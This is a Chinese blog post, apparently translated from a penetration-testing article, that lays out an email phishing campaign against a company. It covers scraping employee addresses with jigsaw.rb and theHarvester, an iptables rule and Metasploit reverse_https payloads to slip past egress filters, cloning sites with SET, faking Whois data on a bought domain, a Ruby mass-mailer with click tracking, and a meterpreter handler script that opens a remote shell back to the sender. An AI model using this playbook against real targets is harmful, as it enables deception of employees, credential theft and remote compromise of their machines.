经常有人问我如何进行钓鱼。email钓鱼是种很吸引人的攻击。成功实施一次email钓鱼需要有非常系统的方法。其中,前期准备阶段占用了整个攻击的大部分时间。
一个安全的邮件收发系统建立在多层次的架构之上,因此我们的钓鱼邮件有可能会被不同层次的安全层过滤掉。其中包括Email网关垃圾邮件过滤器、Outlook的“Junk Email”过滤器、杀毒软件、PS(入侵防御系统)、Web代理服务器、外出过滤等等。
现在我们已经了解了一些邮件系统安全层面常见的过滤, 下面我们讨论一下如何绕过他们。这些方法是从Brav0Hax和purehate对钓鱼攻击的讨论中总结而来。详情可以点击这里。
在jigsaw.com注册一个免费帐号,然后在命令行中输入你的用户名密码会使Jigsaw更好的运行。
01 |
$ ./jigsaw.rb -i 215043 -r google -d google.com -u username -p password |
02 |
Found 1047 records in the Sales department. |
03 |
Found 666 records in the Marketing department. |
04 |
Found 870 records in the Finance & Administration department. |
05 |
Found 249 records in the Human Resources department. |
06 |
Found 150 records in the Support department. |
07 |
Found 1282 records in the Engineering & Research department. |
08 |
Found 354 records in the Operations department. |
09 |
Found 1171 records in the IT & IS department. |
10 |
Found 300 records in the Other department. |
11 |
Generating the final google.csv report |
12 |
Wrote 6079 records to google.csv |
email枚举的另一个较好的工具就是theHarvester。theHarvester是BT5中的一个python脚本,位于/pentest/enumeration/theharvester。该脚本能够利用不同的搜索引擎来找出一些email地址。
1 |
$ ./theHarvester.py -d google.com -l 1000 -b google |
2 |
[snip] |
3 |
[+] Emails found: |
4 |
------------------ |
7 |
[snip] |
我们有两种方式来绕过外出过滤:reverse_https或者reverse_tcp_all_ports。
不了解reverse_tcp_all_ports?它实际上是一个实现反向TCP管理并监控“所有端口”的模块。事实上它只监听一个端口,我们需要把所有端口重定向到它监控的端口。这就需要用到iptables或者其他的软件来实现。
使用iptables举例,该命令将所有端口重定向到443端口(该端口上有multi/handler监听处理)。技巧之一就是把SSH监听的端口设为一个比65535大的值。
iptables -t nat -A PREROUTING -p tcp –dport 1:65534 -j REDIRECT –to-ports 443
reverse_https是另外一个payload,因为其通过metasploit建立一个加密隧道,所以IPS就很难知道传输的是什么内容了,从而无法监控恶意流量。它不仅能够压缩payload,而且能够自动使用IE设置的代理。总之,rev_https更像https,除非有能监控SSL的网关,否则就难以检测到恶意流量。
使用reverse_https时,我们可以设置LHOST=X.X.X.X , LPORT=443。因为多数公司不会限制https(443端口),所以多数情况下(除非有深层的包内容检测)reverse_https就能正常工作了。
在整个钓鱼过程中,这步应该最简单了。经验告诉我们无论怎样,总会有些2B青年喜欢点各种链接,嘿嘿,你懂的啦。
我最喜欢的方式就是伪装成某些IT公司的员工告诉别人要安装新的补丁,每个人都要安装更新,然后通过超链接把用户引至界面如下的网站。
个人而言,我喜欢使用社会工程学工具箱SET来快速克隆一个要伪造的网站。克隆之后可以在set/src/program_junk中找到这些HTML文件。
许多公司运行代理服务器来防止员工访问一些特定网站,这其中还有的带有杀毒功能用来检测web访问中的恶意流量,还有可能阻止员工下载可执行文件。
你也许会想怎么才能把我们的payload从钓鱼站点发送至无法下载可执行文件的用户那里。这时你需要花费些精力,可以给网站买个SSL证书。这样当用户访问你的网站的时候,两者之间就建立了SSL隧道连接。因为隧道是加密的,所以web代理服务器无法得知并阻止用户下载可执行文件了。
谈到发送邮件,有很多方式。首先要考虑的是发送欺骗邮件还是买个域名。本文重点讨论购买域名来发送邮件。
我是在GoDaddy上买的域名,因为买域名会带个免费的邮件地址,而这个邮件地址是非常适合用来钓鱼。其他服务商可能也会提供这种服务,但是我对GoDaddy很熟悉,所以就买了他们的域名。
在GoDaddy买域名之后登录,选择“email”旁边的 [+],点击绿色的launch按钮,之后打开email控制面板。
然后选择 ‘create’按钮来创建email账户
通过像GoDaddy这样的服务商创建的email账户最大的优点就是会自动设置MX记录,这样就不需要你设置DNS来让邮件显得更正规。
之所以提到这个是因为很多Email网关会反向查询邮件来源的域名。如果该域名没有设置MX,许多网关就会丢弃该邮件。
有些SMTP服务器有Whois功能,来判断邮件内容和邮箱对应域名提供的业务是否相匹配。我们可以登录GoDaddy,然后编辑Whois信息来伪装。如果想伪装成example.com,就需要编辑Whois信息使其看起来符合example.com的特征。
GoDaddy’s 修改whois信息的界面
现在我们已经有了邮箱账户,接下来就要通过邮件客户端(如:Thunderbird)来收发邮件。用客户端发送邮件是挺好,但是我们还有更好的方式,那就是通过脚本来发送邮件。我写了一个ruby脚本sendmail.rb能够群发邮件。
经常有人问我是否能够追踪每个访问钓鱼网站的用户的信息。追踪执行payload或者输入信息的用户容易,但是追踪所有的用户就难了。
sendmail.rb能够追踪每个用户的点击,当然前提是邮件是通过它发送的。该脚本发送邮件之前会在钓鱼链接后加上经过base64编码的邮件地址。比如,如果钓鱼链接是http://example.com,sendmail.rb就会修改该地址为:
http://example.com/index.php?dXNlckBleGFtcGxlLmNvbQ==
一旦用户点击就会记录在Apache的access_logs中,显示有个index.php?dXNlckBleGFtcGxlLmNvbQ==请求,我们通过解码我们就知道哪个用户进入了该网站。我们可以编写脚本从access_logs中提取这些信息。
下面是用sendmail.rb 发送邮件给两个用户:
如果对sendmail.rb的实现方式感兴趣,可以留言评论告诉我,我会另写一篇文章来介绍下。
通过Metasploit设置 multi/handler没有什么高深之处,不过我会介绍一下常用的设置。首先要创建一个资源脚本以防multi/handler死掉。
下面是我在启动一个reverse_https multi/handler之前设置的资源脚本
1 |
use multi/handler |
2 |
set payload windows/meterpreter/reverse_https |
3 |
set lhost X.X.X.X |
4 |
set lport 443 |
5 |
set ExitOnSession false |
6 |
set AutoScript /opt/metasploit/msf3/scripts/meterpreter/scraper-mod.rb |
7 |
exploit -j -z |
01 |
def sendemail(username, password, from, message, email, port, smtpout, smtp) |
02 |
# code to send email |
03 |
begin |
04 |
Net::SMTP.start(" #{smtpout}", "#{port}", "#{smtp}","#{username}", "#{password}", :plain) do |smtp| |
05 |
smtp.send_message message, " #{from}", email.chomp |
06 |
end |
07 |
print_good("tSent to: #{email}") |
08 |
rescue |
09 |
print_bad("tIssues Sending to: #{email}") |
10 |
end |
下面是使用资源文件和msfconsole的截图:
本文由网络安全攻防研究室(www.91ri.org)信息安全原创翻译并修改,转载请注明出处。